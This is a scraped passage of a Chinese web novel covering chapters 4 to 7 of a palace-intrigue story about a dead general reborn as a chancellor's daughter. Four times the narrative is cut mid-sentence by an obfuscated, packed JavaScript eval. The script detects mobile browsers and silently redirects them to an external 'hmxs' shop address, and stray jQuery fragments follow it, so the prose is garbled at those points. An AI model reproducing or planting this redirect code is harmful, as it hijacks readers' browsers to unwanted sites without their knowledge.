“当时摄政王还是唐将军,那日夕阳无限好,唐将军牵着马与主子漫步古道。主子鼓起勇气向唐将军表明心意,唐将军既没有答应也没有拒绝,只是问了主子一句可还记得先前与主子有过婚约的花疏玟吗?” 叶袭宸眉头紧锁。 她听过花疏玟这个名字,花疏玉和花疏叶的兄长,那个中了梁王花疏言圈套,最后夺嫡失败的太子。听说是个风华绝代、光风霁月的人物,只可惜太过自负,以至于英年早逝,留下弱小的弟弟妹妹在深宫里挣扎。 只是,唐锶谐与花疏玟有何关系? 若云叹了口气道:“主子又糊涂了,唐将军先前是前太子的伴读,两人自小一起长大,感情深厚。” 难怪。 难怪这唐锶谐不顾功名利禄也要将自己拉下马来,力保花疏叶重新登基为帝。 原来是有这层关系在。 “故而摄政王拒绝了我的心意?” 若云思虑片刻,摇了摇头:“也不尽然。奴婢瞧着当时的唐将军眼里也是闪着泪花,应也是在意主子的,只是心中不想背叛早死的太子殿下。” 叶袭宸喜上眉梢。 既是如此,那她偏要让他备受良心的谴责。唐锶谐啊唐锶谐,即便现在无法杀你报仇,也定要让你痛苦万倍。 说话的功夫,主仆二人已经回到了暖雪阁。叶袭宸深深呼吸了一口气,胸口有些疼痛。若云解开了她的衣衫,中指沾了些许膏药往背后火辣辣的地方抹去。 火辣辣的感觉变作温热的触感,叶袭宸让若云拿了铜镜过来。白皙的后背上有道轻微的擦伤,看起来没有特别严重的样子。叶袭宸叹了一口气,原先她还以为有多严重呢,原来连皮都没擦破。 一滴热泪滴在肩膀上,若云擦着眼泪道:“都怪奴婢不好,没有护好主子。” “怎么能怪你呢,沈星月那个丫头谁能拦得住她?”叶袭宸拉上衣服,仔细整理好。见若云欲言又止的样子,她笑着问道:“心里憋着什么话呢?” “主子,二小姐那么跋扈,主子方才为何要轻饶了她?”若云气不过:“为何不向大少爷诉苦,让大少爷好好惩治她一下?” “惩治了她,她下次还要来闹事的。”叶袭宸托着腮,指尖轻点脸颊:“更何况这小丫头挺有趣的,日后多加调教,说不准能成大事。” 若云瘪起了嘴巴:“像二小姐这么跋扈的人,谁能调教得了她?就连大少爷,她也只是嘴上服气,心里其实不以为然。” “哦?”叶袭宸挑了一下眉头:“何以见得?” “大少爷其实一直不喜二小姐习武,但二小姐总是嘴上应承,实际上每日总要偷跑出去。我问过随侍二小姐的丫头了,她每日出去,身上总会揣回来几件暗器。就像今日的飞镖,也是她前段日子买的。” 难怪沈星月的鞭子没有那么像样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883527|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶袭宸朝若云勾了勾手指,若云附耳过来。叶袭宸压低了声音道:“这样,日后她再出去……” 叶袭宸的话还未说完,一道清朗的声音便从外传来:“楚无暇来拜见沈小姐!” 叶袭宸奇怪了:“他怎么会来?” 若云很是生气:“定是来纠缠主子的!奴婢这就将他打出去!” 眼见若云就要抄起贡掸,叶袭宸急忙拦住她:“再怎么说人家也算是救了我,哪有这么对待救命恩人的?” 若云一想也是这个道理,不情不愿地把贡掸放下了。 叶袭宸刚和若云从屋内走出,就见楚无暇背对着她们负手站在假山旁。一袭白色的锦袍衣袂纷飞,柔顺的墨色长发直达腰际,尽显潇洒飘逸之感。几缕发丝随风飘拂,缠绕于指间,一把白玉制成的箫置于其中。 听闻脚步声,楚无暇回过头来,笑意直达眼底:“沈小姐倒是叫在下好等。” “你来做什么?” 若云一张小脸上全是不满,气得腮帮子都有些鼓鼓的。楚无暇伸手捏了捏,丝毫不加掩饰:“自然是来抢走你家小姐的。” “你……”若云羞红了脸,退后几步,“你这个登徒子,我家主子不会与你走的。” “你家主子跟不跟我走,你说了可不算。”楚无暇看向一旁笑而不语的叶袭宸:“你说是与不是,沈小姐?” “若云自小服侍我,我们情同姐妹,为何她说了不算?”叶袭宸微微一笑:“楚兄若当真想让我与你走,还得先过她这一关。” 楚无暇稍微怔了一怔,直接盘腿坐在了石桌之上,手里把玩着白玉箫:“这说法委实新鲜,不过在下也不是什么法子都没有。”他抬头看了一眼若云:“小丫头,在下送你一幅画作可好?” “送我画作作甚,我又不是我家主子,欣赏不了这等风雅之物。”若云狡黠一笑:“楚公子若真想收买与我,不如送我些黄白之物。” 叶袭宸会心一笑,这小丫头真是实诚。她故作伤心,无力地向若云伸出手,作出痛心疾首状:“几两黄白之物,你就将我出卖了吗?” 若云忙扶住叶袭宸:“主子,我是与他开玩笑的。不管多少金银,在奴婢心中都不如主子分量重。” 叶袭宸流下眼泪,深情款款地看着若云,亲切地唤道:“若云,还是你对我最好。” 若云被叶袭宸惹得也掉了泪:“主子。” “若云。” “主子。” 楚无暇实在是欣赏不了这出主仆情深的折子戏,弱弱出声道:“你们莫不是忘了在下的存在?” 若云擦掉眼泪:“你是什么重要人物,忘了你又如何?” 楚无暇抿唇:“忘了我倒不要紧,只是我这幅画作还请沈小姐赏脸观赏一二。” “我倒是好奇了,楚兄一再提起的这幅画作,究竟是何人所作?” “何人所作不要紧,关键是这画中人,定能让沈小姐魂牵梦萦。” “看来定是个传奇美男子了。”叶袭宸揶揄道:“这画中人莫不是楚兄本人吧。” 楚无暇神秘一笑:“是与不是,看了就知道了。”他跳下来,从宽阔的衣袖中掏出一卷画轴,在石桌上展开。 叶袭宸和若云围上去。 若云哼道:“我倒要看看,能有什么东西让我家主子魂牵梦萦。”然而待看清画中人的那一刻,她的神色顿时僵住了。 那画中人不是旁人,正是沈道溦念念不忘了两年的叶袭宸! 5. 第 5 章 春寒料峭,初晨的日光带着一丝冷意洒在悄然开放的花骨朵上。叶袭宸只穿了一件薄薄的白色中衣,在花丛中舞着剑。剑锋锐利,带起来的气流席卷着枝叶,萦绕在她的身旁。 额上冒了一层薄薄的细汗,打湿了旁边的几缕碎发。花疏玉原先还只是裹着大衣站在廊下看着,后来便不满于此,叫人搬来古琴信手弹奏起来。琴音舒缓和谐,与叶袭宸的杀气腾腾形成鲜明的对比,然而却带着一股不容置疑的气势蛮横地闯入叶袭宸的节奏中。 叶袭宸的动作乱了。她被带得不由自主地放缓了动作,卸去了大部分的杀气。先前被剑气凝聚起来的枝叶簌簌而落,有一片落在了叶袭宸的发丝上。 “铮——” 琴音戛然而止,叶袭宸也停下了动作,偏头看去。花疏玉似是已经弹累了,闭着眼睛轻轻喘息着。叶袭宸收了剑,在花疏玉的面前蹲下,轻轻握了握她的手。 花疏玉睁开眼睛,眼下青黑,眼眶布满血丝。叶袭宸颇为不满:“那小皇帝如今也早已过了养鸽子玩鸟的年纪了吧,怎么还是这么不懂事。这皇帝到底是你做还是他做?” 花疏玉虚弱地笑了笑:“谁让我是他的长姐呢?”她的目光看向远处,唇角勾起了一个讥讽的弧度,极轻极淡地叹了一句:“谁让,我们的太子兄长不在了呢?” 她闭了闭眼睛,眼角滑落一滴眼泪。 “一大清早地在这里说什么悄悄话呢?” 宋雪砚着了一身血红色的官袍过来,黑色的官帽在阳光的映衬下闪闪发光。她瞧见了花疏玉的神色,唇角的笑容立即收了起来。 宋雪砚拧着眉头:“可是为北蛮的事情而操心?” 花疏玉叹了口气:“正是。” “又是那群不安分的东西!”叶袭宸当即表态:“让我领兵去杀他们百八十回就老实了!” “他们来势汹汹,已经接连攻下了我们两座城池。”花疏玉揉着太阳穴:“我正着手议和,看能不能缓几个月。” 叶袭宸腾地站了起来,剑身在阳光下折射出冷冽的寒光:“为何要缓几个月,他们欺人太甚,是可忍孰不可忍!” “阿宸,稍安勿躁。”宋雪砚握住了叶袭宸的手:“阿玉自有她的考量。” “我知道,不过就是担心我有去无回罢了。”叶袭宸一脸怒气:“但是现在是我的安危重要,还是大衍的百姓重要?” 花疏玉闭着眼睛不想开口说话,宋雪砚摇了摇头,似是无奈叹了一口气。叶袭宸看了看两人,愤愤地将剑架在了脖子上:“习得一身武艺,不能上战场保家卫国,还不如自刎算了。” 叶袭宸说完就要抹脖子,宋雪砚和花疏玉俱是吓了一跳,急忙拦住。 宋雪砚拉住叶袭宸的胳膊:“冷静些,如此冲动行事,你让阿玉怎么放心让你领兵!” 花疏玉更是直接握住了叶袭宸的剑,鲜血顺着她纤细苍白的小臂滑下来,滴落在琴弦之上。 只听铮地一声,仿佛世间所有都安静了下来。最后的最后,花疏玉还是让叶袭宸领兵去了。 而这幅画就是当时的情景。 叶袭宸紧紧地抿着唇。 “这……”叶袭宸死死地咬着唇角,终于发出了一点儿声音:“这幅画出自何人之手?” 声音带着些微的颤抖。 楚无暇不答反问,带着些许笑意:“沈小姐对此画可还算满意?” 叶袭宸抬眸,眼眶微红,眼泪欲落不落。触及到她那双水汪汪的双眸,楚无暇微微一怔,笑意顿时收敛了些,眼中闪过一丝复杂。 捏着画轴的手稍微紧了紧。 然不等楚无暇去探究什么,若云已经狠狠推了他一把,“你这个人,存心来让我们主子伤心的。” 楚无暇被推得后退半步,眼中闪过一丝疑惑:“若云姑娘何出此言?” “你明知我家主子日日为叶将军以泪洗面,如今好不容易走出来,你却又来勾起她的伤心事!” 楚无暇的眸子沉了沉。 叶袭宸笑着抬手擦了擦眼泪:“确如若云所言,一时想起故人,不自觉竟落了泪,让楚兄笑话了。” “主子,你还为他说话!”若云细细地为叶袭宸擦拭着脸上的泪水,心疼得不得了:“我看他分明就是故意的!” 叶袭宸微微勾唇,安抚地拍了拍若云的手:“若云,楚兄也是有雅兴之人。有如此巨作,自是要拿出来分享的。” 楚无暇细细打量着叶袭宸的神情,然而每一处细微表情的变化都表现得恰到好处。他的脸上只能重新挂上玩世不恭的笑容,“虽是无心之过,但能看到美人落泪,也是我的荣幸了。” 闻言,若云更气了:“主子,你听听他说的这是什么话!” 叶袭宸笑意渐淡:“原来楚兄是特意来寻我开心的。” 楚无暇慢吞吞地收起了画,叶袭宸的目光随着他的动作缓缓收敛,最后移到楚无暇那张带着一丝玩味笑意的脸上。 楚无暇的声音正经了些:“非也,无心之失而已。” “无心之失?”叶袭宸的笑容不似方才那般温和,“方才楚兄与兄长一同出现时,已然说了此行是为我而来。既是如此,应已了解到我对叶将军的感情。如今又闹了这么一出,岂是无心之失?” 若云听到叶袭宸这般待楚无暇,身子板也立即挺直了些,用力地点了下头。 楚无暇微微抿唇:“所谓特意为沈小姐而来,也不过是浮于表面的美貌和才学而已。从男人嘴里说出来的话,能有几分真?” 叶袭宸点了点头:“原是如此。” 若云急了:“主子,你莫要被这厮的三言两语就糊弄了。此人入府,摆明了是不怀好意!” 叶袭宸示意若云稍安勿躁,平静道:“只是我并非心胸开阔之人,纵然楚兄是无心之失,我也心有芥蒂。” 若云安心了,重新颐高气指地看着楚无暇。 “哦?”楚无暇来了兴趣,一双眼睛笑得眯了起来:“不知在下如何做才能消除小姐心中的芥蒂?” “既是楚兄要我一同欣赏画作,不如就将这幅画送与我,不知楚兄可舍得?” 此言一出,楚无暇眼中的笑意全无。 若云也是瞪大了双眼。 万万不可! 若是日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883528|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日对着叶将军的画像,主子岂不是又要日日以泪洗面了? “看来是不舍得了。”叶袭宸一语道破,神情平静:“既是如此,楚兄日后莫要再踏入我这暖雪阁了。” “沈小姐这是在下逐客令?”楚无暇的眼睛重新眯了起来:“若是我没有记错的话,方才在沈星月的飞镖下我救了小姐一命,救命之恩,不说以身相许吧,也该以礼相待。沈小姐自幼饱读诗书,难道连这点儿礼数都没有吗?” “礼数?”叶袭宸轻笑一声:“若我确是无礼之人,楚兄又为何愿与我结交?” 楚无暇被这一问弄得莫名其妙,一时之间不知如何会怼回去。 “除非……”叶袭宸慢条斯理道:“我这暖雪阁里有楚兄想要的东西。楚兄不想做梁上君子,便只能通过与我结交的方式,获得此物。” 楚无暇的神情僵硬了一下,但随即恢复原状:“若我说是,沈小姐可会将此物赠予我?” “稀奇了。”叶袭宸微微一笑:“起初是楚兄要我一同观赏画作,后又不肯将画作相赠,如今却又向我讨要东西,真真是稀奇了。” 说完,叶袭宸便甩了下衣袖,抬脚朝屋里走去。楚无暇微微一怔,正要追上去,却被若云拦住:“你这厮好没礼数,自见面起就对我家主子言语不敬,如今却来说主子没礼数,真是颠倒黑白。看在你是大少爷客人的份儿上,你快些自己走吧,省得待会儿我叫人来赶你出去。” 楚无暇面露焦急之色,隔着若云,朗声喊道:“沈小姐,并非我不愿将画作相赠,只是这画中人……” 话到嘴边生生被楚无暇咽了下去,他焦急万分,只好道:“在下确有难言之隐,还请沈小姐原谅。确有得罪之处,这就给沈小姐赔罪了。” “言重了。” 叶袭宸转过身来,“你是兄长的客人,在我这里流连太久会让兄长起疑心的。” 叶袭宸刻意加重了“兄长”二字,楚无暇却好似听不出来一般,愈加急切道:“我不在乎!任何人任何事,都无法让我离开暖雪阁!” 若云气得浑身发抖:“你这厮胡说八道什么呢!” 叶袭宸扶额。 无论楚无暇的真实目的究竟是什么,这厮大概是个蠢的,就差把“有所图”三个字刻在自己的额头上了。 叶袭宸走到楚无暇面前,认真道:“若是兄长来寻你,见你在此处,你如何回答?” “我自是来与沈小姐附庸风雅一番的。沈小姐,你终于再次亲自来到我的面前了。” 楚无暇脸上的着急不复存在,取而代之的是一个得逞的笑容。他本欲欣赏一下叶袭宸脸上的类似气急败坏的神情,就如同现在的若云一般,却见后者始终保持着得体的微笑,似乎对周遭一切的发生丝毫不感到意外。 他终于彻底服气,似真似假地说了一句:“沈小姐,你知道吗,我其实特别讨厌你们这种一切尽在掌握中的样子。” “当你成为那个成竹在胸的人时,你只会在心里暗爽。” 叶袭宸的目光不由自主地往院门瞟去,楚无暇顺着她的目光看过去,果不其然看到了紧皱着眉头的沈秋实。 6. 第 6 章 从叶袭宸今日第一次见他到现在,沈秋实的眉头似乎从来没有舒展开来,似乎是不喜楚无暇与自己多过接触。她不免觉得有几分好笑,人是他招来的,他倒是先委屈上了。 叶袭宸走过去,刺了他一句:“兄长今日与我见面的次数倒是比往常多了不少。” 这句是真的,自叶袭宸占了沈道溦的身体以来,她从来没见过除若云之外的第二个人。暖雪阁像是被打入冷宫一样,到处都凄凄凉凉的,没有一点儿鲜活的气息。即便是小厮,也没见几个。 沈秋实听出了叶袭宸话里的讽刺意味,不仅是他,连楚无暇和若云也听出来了。楚无暇笑眯眯地看着沈秋实,若云则面露几分紧张。 “道溦可是在责怪为兄?”沈秋实双手背在身后,脸上没有一丝一毫的恼怒,似是已经料到叶袭宸会如此问一般。 “不敢。”叶袭宸道:“兄长如今与以往可是不一样了,小妹疾病缠身,恐过了病气给旁人,兄长不来登门是对的。” 楚无暇不禁弯了弯唇。 早就听闻帝京第一才女沈道溦是个嘴巴被佛祖开过光的,厉害得不得了。今日一见,果然名不虚传。一番话颠过来倒过去,再配上她那副天不怕地不怕的架势,看似是为沈秋实解释,实际上却是讽刺感拉满。 沈秋实的脸色不禁难看了些,甩了下袖子:“为兄政务缠身,你整日困在这四方小院里,能懂什么?” 被沈秋实呵斥,叶袭宸也不恼,反倒笑眯眯道:“兄长说得极是,我的确应该多出去走走。” 沈秋实被气得不轻,“你一个待嫁闺中的大小姐,出去抛头露面算什么?” 叶袭宸微微一笑:“自长公主花疏玉开放女子科举以来,到大将军叶袭宸征召女子入伍参军,以及宋相带领女子经商,桩桩件件,岂有不出去抛头露面的?” 沈秋实讽刺一笑:“只可惜,你说的那三个人,皆没有好下场。”他上前一步,逼近叶袭宸:“两死一疯,你难道要步她们的后尘吗?” 沈秋实的身量比沈道溦要高,他如此做,不过是想借着身量的优势形成压迫之感。 叶袭宸岂会不明白这个道理,她微微抬头,对上沈秋实满是侵略的目光,咧嘴一笑:“记得兄长先前疾病缠身的时候,弓腰塌背,在我面前连头都抬不起。如今病好了,身子板倒是挺直了不少。” 沈秋实脸色变了:“从前的事,你还提它作甚!”他不欲与叶袭宸多废话,看向楚无暇,语气算不上客气,与先前在廊下的礼貌迥然不同。 “无暇兄,家父想要见你,快些随我去吧。”他意有所指地看了一眼叶袭宸,半是警告半是提醒道:“我这个妹妹气性大得很,连我这个兄长都奈何不得她,这暖雪阁你还是少来为妙。” 叶袭宸使了个眼色,楚无暇却似没看见一般,笑了一声道:“在下倒是觉得沈小姐口齿伶俐,日后定会是个好娘子。” 叶袭宸微微扶额:“这可算不得什么夸奖。” 若云早已按捺不住怒气了:“呸,你这个浪荡公子莫要打我家主子的主意。” 若云来了这么一句,沈秋实总算是找到回呛叶袭宸的借口了,只见他冷冷一笑:“道溦,这就是你调教出来的丫头?这么不知轻重,居然敢对我请来的客人不屑一顾。既然你管教不好丫头,那便让我亲自来管。来人呐!” 沈秋实一声令下,几个小厮已经从外面进来,搬长椅的搬长椅,拿棍子的拿棍子,像是早已准备好似的。 两个小厮上来要押住若云,若云吓得往叶袭宸的身后躲。他们还要上前,叶袭宸抬手拦住了两个小厮,直截了当道:“兄长若是想借着打我的人来打我的脸,不如直接将这板子落在我身上,效果绝对事半功倍。” 沈秋实黑着脸:“我是要帮你管教丫头,以免日后她蹬鼻子上脸,做出更加大不敬的事情来。” “大不敬?”叶袭宸笑了,看向一旁正抱着胳膊的楚无暇:“楚兄未必这么觉得。” 楚无暇正准备欣赏一出好戏,不曾想到叶袭宸竟将话头放在了自己身上。见沈秋实和叶袭宸的目光俱落在自己身上,他有些难以取舍。 其实他并不在意若云的话,自己从小云游江湖,对于这等尊卑的观念向来不在乎。但是沈秋实可是他好不容易攀上的朋友,若是得罪了他,恐怕自己的目的还未达成,就会被撵出府了。 楚无暇仔细琢磨了一番,最终还是选择站在叶袭宸这边,且赌一把沈秋实的肚量吧。 “沈小姐说得不错,我闲云野鹤惯了,不觉得被冒犯到。” 沈秋实脸色僵硬,“既是无暇兄如此说,那我今日便放过这个小丫头。不耽搁了,无暇兄快些与我去见家父吧。” 楚无暇与沈秋实一同离开了。 叶袭宸脸上的笑意尽数卸了下来,若云从身后走出,正要跪下,却被叶袭宸一把拉住。 “不许跪。” “主子……”若云终于忍不住哭了出来:“都是奴婢的错,奴婢不该这么不知分寸,还险些连累主子……” “既然知道错了,日后该怎么办?” “奴婢日后一定谨言慎行……” “不。” 若云正哭哭啼啼做着保证,却被叶袭宸打断。她睁着有些红肿的眼睛,不解地看着叶袭宸。 “先前怎么说话,日后就如何说话。”叶袭宸冷冷一笑,“我倒是要看看谁敢动你。” “可是大少爷他……” “一个色厉内荏的东西,怕他作甚?不出三日,我定要让他付出生命的代价。” 若云的眼泪还挂在眼睫毛上,她眨巴了几下眼睛,有些迟疑道:“主子……你莫不是疯了?” “疯了?”叶袭宸细细咀嚼了一下这两个字,半晌后,痴痴地笑了:“好像的确是有些疯了。” 夜间酣睡之时,叶袭宸做了噩梦。 大衍与北蛮的交界处,一支送亲的队伍浩浩荡荡地朝着北蛮而去,沿途洒下不少大红色的纸屑,随着些许微风,混合着厚重的沙尘,席卷着冲上天空。 半空中一只飞鸟也无,林间响起一道急促的哨声,仿佛是一种信号般,原本万里无云的天空倏然间变得阴云密布,浓稠得好似下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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还有人驾驶了马车,带着叶袭宸他们呼啸而去。叶袭宸几脚将那人踢下了马车,却又立即被驾驶马车的人缠住。一个不留神,她被那人扑下了马车。 马车失去了控制,一往无前地冲着悬崖而去。 “不要!” 叶袭宸腾地坐起来,大口大口地喘着粗气。额角冒着冷汗,后背一片凉意。若云点了灯过来,见叶袭宸浑身像是刚从水里捞出似的,不禁心疼道:“主子可是又梦见叶将军了?” “梦见了。”叶袭宸死死咬着唇角:“她还说让我杀了那狗皇帝报仇雪恨。” 若云吓得直接跪在了地上,带着哭腔喊道:“主子,奴婢求求您不要再想这些事情了好吗?叶将军已经死了,即使您杀了所有人,她也回不来了!” “不。”叶袭宸猛地抬头:“她还活着。”她看着若云,幽幽道:“你没看到吗,她就在我们身边。” 若云吓得连忙退后:“主子,您不要吓奴婢啊。” 瞥见若云眼里的惊恐,叶袭宸慢慢冷静下来。她如释重负地叹了一口气,扶着额头笑了:“是我糊涂了。” 7. 第 7 章 叶袭宸睡不着了,穿了件衣服就要起身到院子里。若云赶紧拿了件大氅跟在后面,作势要给她披上,却被叶袭宸呵斥住:“我不需要!” 若云一怔,眼泪又掉了下来。她眼睁睁地看着叶袭宸晃晃悠悠地扶着墙走出去,然后在院里冰凉的石凳上坐下,脆生生地打了个寒战,心底不由得涌上一股酸涩。 若云忙不迭地跑过去,小心翼翼地再次将大氅披在叶袭宸的肩头。 如今天气虽说是暖和了些,但是夜间还是有些冷意。更别说叶袭宸方才还出了一身的汗,如今被小风儿轻轻一吹,鸡皮疙瘩都险些被激了出来。 她总算认命般地往上拉了拉大氅,将整个身子都缩在里面。若云松了口气,面上浮现些许欣慰。 叶袭宸察觉到若云刻意放轻微的动作,闭了闭眼睛,缓缓地吐出一口浊气:“方才吓到你了吧。” 察觉到叶袭宸的语气恢复了以往的平静,甚至还捎带了些许歉意,若云的眼眶红了,声音哽咽:“没有。只要主子好好的,奴婢心里总是高兴的。” 叶袭宸勉强扯出一个笑容,有些自责地保证道:“下次不会这样了。” 月色如钩,星光灿烂。凉风习习,树影攒动。静谧的夜色里不时响起些许小虫子的叫声,平添了一份儿祥和。 叶袭宸坐了一会儿,头脑清醒了些后便要回屋,然刚刚起身,一道吊儿郎当的笑声便冷不防从头顶传来。 “今夜月色姣好,沈小姐莫非也有雅兴观赏一番?” 叶袭宸看过去,只见楚无暇侧躺在墙头之上,右手支着脑袋,似笑非笑地看着她。 这厮也不知在墙头看了多久,叶袭宸竟毫无所察。不过夜已深,他居然还在府里。想来是征得了沈宰辅的同意,要在府里暂住一段时日了。 楚无暇这种人叶袭宸当年在山头当大王的时候见得多了,若说在平时,叶袭宸还有心思与他虚与委蛇几句。这厮虽有些不着调,但是胜在形容俊美,亭亭秀秀。然此时她才刚从噩梦中清醒过来,实在没有心情应付他,不巧这东西偏偏就撞上来了。 倘若在前世,叶袭宸高低得飞上墙头,与他切磋一番。然她现在实在是有心无力,只能将视线放在身旁的小丫头若云身上。 若云当即明白了叶袭宸的意思,从草丛中捡起一粒石子就朝楚无暇身上砸去。 “你这登徒子,深更半夜来这里作甚?!” 那粒石子本来是打不到楚无暇的,可这厮不知是吃错了什么药,竟翻身从墙头下来,落地的时候不偏不移地被石子砸到了脑袋。 “哎呦!” 楚无暇装腔作势地痛叫一声,他捂着脑袋走过来,笑嘻嘻道:“若云姑娘好大的力气,痛死在下了。” 若云瘪着嘴巴:“你活该,谁让你跳下来的。” “若非如此,沈小姐恐要立即将在下赶出去了。”楚无暇的笑容收敛了些,直勾勾地看向叶袭宸,唇角轻抿:“沈小姐可消气了?” “消气如何?不消气又如何?”看到楚无暇吃痛的样子,叶袭宸的心情的确好了许多,也有心思去和楚无暇插诨打科了。 见叶袭宸的语气明快了些,楚无暇笑意渐深:“若沈小姐消气了,在下有一事想请教。若没有消气,还请沈小姐指点迷津,在下到底如何做才能去了沈小姐的火气。” 若云气极:“我家主子消不消气与你何干?你莫要惦记我家主子!” 楚无暇微微勾唇,第一次较为认真道:“在下对沈小姐的欣赏坦坦荡荡,并无半分男女之情,故而若云姑娘不必如此激动。” 然而这副正经的模样也只是相较白日里他的言行而言,故并没有太大的说服力。 若云当即用先前楚无暇说过的话呛了回去:“从男人口中说出的话,能有几分真?” 楚无暇扶额一笑,似有些无可奈何。 叶袭宸有些乏了,见若云和他吵得兴起,便不再管他们,裹着大氅只身回了屋内。楚无暇看着干着急,却拿挡在身前的若云毫无办法。他叹了口气,终于认清楚一个现实。 若想和叶袭宸靠得近些,只能先解决了这个小丫头。 楚无暇转了转眼珠子,计上心头。只见他微微拧着眉头,有些委屈道:“若云姑娘为何对在下有如此大的成见?在下实在是不知究竟是何处得罪了姑娘,还请姑娘指点一二。” “你不规不距。”若云毫无保留,直接开门见山,有理有据道:“什么救命之恩,以身相许,全都是无稽之谈。” 楚无暇好奇了,微微勾唇:“自古以来,这可是人人口中传颂的佳话。” 若云义愤填膺道:“挟恩图报,小人也。” 楚无暇笑了,发自内心道:“看得出来,若云姑娘书读得颇多。” 若云自豪道:“自然。我家主子饱读诗书,我常在她身旁侍候,耳濡目染,自然是学了一些皮毛。” 楚无暇笑了笑:“若云姑娘谦虚了。” 若云哼了一声:“少拿你那些甜言蜜语糊弄我,我家主子对你不感兴趣。以后你要是再半夜摸进我家主子的院子,别怪我家主子不客气!” “看来要让若云姑娘失望了。”楚无暇道:“宰辅大人已经同意我在府上暂住一段时间,往后每日,恐怕姑娘都要见到我了。” “你……”若云气得胸闷:“阴魂不散的家伙!” “多谢姑娘夸奖。”楚无暇朝若云弯了弯腰身,微微笑着,“在离去之前,在下还有个不情之请。”他抬头往屋里看了一眼,有些情深意切道:“请姑娘告知沈小姐,在下是友非敌。日后若是有用得着在下的地方,尽可开口。” “是友非敌?”若云大抵也是困了,有些迷糊地揉了揉酸疼的眼睛:“此话何意?” 楚无暇没有解释,仍旧笑着:“不打扰了。” 言罢,楚无暇潇洒离去,依旧是翻墙的方式。若云被破空的声音弄得清醒了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883530|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瞠目结舌地看着他身轻如燕地消失在墙头,有些惊讶道:“这厮功夫竟如此好。” 翌日,叶袭宸醒来的时候已经日上三竿了,在若云的服侍下洗漱后,便到院内练一些简单的技击。 叶袭宸觉得是时候该练一练了,不求如前世那般百万军中取敌将首级,只求能有自保之力。 若云在一旁担忧地看着,唯恐叶袭宸支撑不住一口鲜血吐出来。在她看来,叶袭宸的身子还没有好利索呢。如此折腾,那几个月算是白养了。 她小心地盯着叶袭宸的动作,不由得劝道:“主子,这习武一事不急于一时。您还是停下歇会儿吧,奴婢怕您伤了身子。” 叶袭宸的额角冒出一层细细的薄汗,她粗粗地喘着气,“我心里有数,你就莫要再乱我心神了。” 若云看着干着急,伸出手来护着叶袭宸,像是在护着一个刚学会走路的小孩子般。 叶袭宸怕伤到若云,便停下歇息。若云放下心来,倒了一杯茶递给她。叶袭宸一口饮下,淡淡的苦涩在口腔中蔓延开来,她却觉得无限甘甜。 若云想起昨夜楚无暇那句莫名其妙的话,犹豫着要不要说出口。 叶袭宸正品着茶,视线无意识瞥见小丫头纠结的神情,不由得伸手捏了捏她的脸颊:“一大清早就愁眉苦脸的,这是为何?难不成那厮昨晚难为你了?” “主子。”若云神情着实有些苦恼:“楚公子这人怪异得很。昨晚说了一句是友非敌,奴婢实在琢磨不出来他这句话的意思。” 叶袭宸捏着茶杯,拇指轻轻摩挲着杯身。 难不成沈道溦与楚无暇先前便认识? 叶袭宸已经自动脑补出了一出折子戏,或许沈道溦与楚无暇曾经有过一面之缘,而后因为种种原因而误会对方,从而分道扬镳。楚无暇千方百计结识沈秋实,就是为了进府解开这个误会。 叶袭宸眼珠子转了转,摇了摇头。 若是如此,为何楚无暇手里会有那幅画有她与花疏玉以及宋雪砚的画作呢? 她见过宋雪砚和花疏玉的作品,对她们的画风和笔法都无比熟悉,此画绝不是她们二人中任何一人所作。但若不是出自她们之手,又会是谁呢? 叶袭宸轻轻抿了一口茶。 她记得十分清楚,当时情形只有她们三人,绝无第四人在场。那幅画作生动逼真,应是出自对她们三人都无比熟悉之人之手。只有如此,作画之人才会仅凭旁人的几句话描述便能画出当时的情形。这样的一个人,叶袭宸目前能想到的只有沈道溦。 如此一来便对上了。 沈道溦作的这幅画不知何缘由落在了楚无暇之手,楚无暇被沈道溦的才气所折服,才费尽心思寻到宰辅府里来。 可惜,在这具身体里的已经不是沈道溦了。 叶袭宸轻轻叹了一口气,有些好奇到底是何误会才让楚无暇耿耿于怀至此,甚至半夜翻墙也要表明心迹,自己是友非敌。 8. 第 8 章 